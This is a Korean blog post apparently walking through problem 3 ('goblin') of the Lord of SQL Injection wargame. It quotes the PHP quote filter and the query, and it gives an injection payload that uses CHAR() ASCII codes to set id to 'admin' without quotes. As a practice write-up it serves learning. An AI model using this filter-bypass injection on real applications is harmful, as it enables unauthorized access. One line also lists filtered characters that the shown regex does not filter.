LOS 3번문제
코드해석
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
필터링을 보면, prob, _, ., (), ', ", `를 필터링 한다. 즉, 쿼리를 정상적으로 작성할 수 없다.
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
보시면 id는 guest로 고정되있고 no값을 받아오는거로 되있습니다.
if($result['id'] == 'admin') solve("goblin");
그리고 id를 admin으로 만들어주어야합니다
문제 해결 : id라는 변수의 값을 admin으로 설정하고 싶으면, id='admin' 이런식으로 작성해야 하지만, '가 필터링되므로 변수값을 설정할 수 없다 그래서 char이라는 함수를써서 답은 ?no=2 or id=char(97,100,109,105,110) 이다.
char(97,100,109,105,110)이부분은 아스키코드로 어드민을 만든것이다 그리고 no값은 1~10까지넣어주며 찾았다.
이렇게되면 id는 어드민이 되는것을 확인할수있을것입니다.
답 :?no=2 or id=char(97,100,109,105,110)
'los 문제' 카테고리의 다른 글
LOS 6번 문제 풀이 (0) | 2021.09.13 |
---|---|
LOS 5번 문제 풀이 (0) | 2021.09.10 |
LOS 4번 문제 풀이 (0) | 2021.09.08 |
LOS 2번 문제 풀이 (0) | 2021.09.07 |
LOS 1번 문제 풀이 (0) | 2021.09.07 |